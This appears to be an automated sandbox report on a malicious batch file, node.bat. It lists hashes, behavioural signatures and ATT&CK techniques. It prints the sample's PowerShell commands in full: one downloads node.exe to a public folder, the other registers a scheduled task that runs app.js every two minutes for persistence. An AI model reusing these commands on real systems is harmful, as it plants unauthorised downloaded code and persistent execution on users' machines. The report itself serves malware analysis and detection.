a1ce1dd3197b1292599010cf09eee2d15a367be7f642ef65c26f6e48eb00a242

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
25-04-2024 10:47

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General

Target

node.bat
Size

3KB
MD5

1beb518fe0cd85f2d6f9101c2e47c7ae
SHA1

65ab6ae5b983633f60a4404636c0de19b2c529fa
SHA256

81ae13af20a68b407c4171c498f5140f51d8f0d9cf5bf4ddcf989112e3d31297
SHA512

880534df1232044cf1cfd5dc83a3d170eac46093c8f38b19e20967cb6b2c5020994d1f3113e72a4e73917ae6f9701c4a08f57f8ebec2471e35a9111362115d5b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://nodejs.org/download/release/latest-v19.x/win-x64/node.exe

Signatures

Downloads MZ/PE file
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

4888 powershell.exe
4888 powershell.exe
3112 powershell.exe
3112 powershell.exe
3112 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4888 powershell.exe
Token: SeDebugPrivilege 3112 powershell.exe

pid	process
4888	powershell.exe
4888	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	3112	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 372 wrote to memory of 4888	372	cmd.exe	powershell.exe
PID 372 wrote to memory of 4888	372	cmd.exe	powershell.exe
PID 372 wrote to memory of 3112	372	cmd.exe	powershell.exe
PID 372 wrote to memory of 3112	372	cmd.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\node.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -Command "Start-BitsTransfer -Source 'https://nodejs.org/download/release/latest-v19.x/win-x64/node.exe' -Destination 'C:\Users\Public\node.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -Command "$tr = New-Object -ComObject Schedule.Service; $tr.Connect(); $ta = $tr.NewTask(0); $ta.RegistrationInfo.Description = 'Runs a script every 2 minutes'; $ta.Settings.Enabled = $true; $ta.Settings.DisallowStartIfOnBatteries = $false; $st = $ta.Triggers.Create(1); $st.StartBoundary = [DateTime]::Now.ToString('yyyy-MM-ddTHH:mm:ss'); $st.Repetition.Interval = 'PT2M'; $md = $ta.Actions.Create(0); $md.Path = 'C:\\Users\\Public\\app.js'; $ns = $tr.GetFolder('\'); $ns.RegisterTaskDefinition('BTime', $ta, 6, $null, $null, 3);"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3112

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\\Users\\Public\\app.js"
1⤵
PID:4464

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bipja1ff.xgg.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3112-15-0x00007FFAF5BE0000-0x00007FFAF66A1000-memory.dmp

Filesize
10.8MB

Download
memory/3112-16-0x000001842BEE0000-0x000001842BEF0000-memory.dmp

Filesize
64KB

Download
memory/3112-17-0x000001842BEE0000-0x000001842BEF0000-memory.dmp

Filesize
64KB

Download
memory/3112-29-0x00007FFAF5BE0000-0x00007FFAF66A1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-0-0x000001373C540000-0x000001373C562000-memory.dmp

Filesize
136KB

Download
memory/4888-10-0x00007FFAF5BE0000-0x00007FFAF66A1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-11-0x000001373C580000-0x000001373C590000-memory.dmp

Filesize
64KB

Download
memory/4888-12-0x000001373E770000-0x000001373E796000-memory.dmp

Filesize
152KB

Download
memory/4888-13-0x000001373E7C0000-0x000001373E7D4000-memory.dmp

Filesize
80KB

Download
memory/4888-14-0x00007FFAF5BE0000-0x00007FFAF66A1000-memory.dmp

Filesize
10.8MB

Download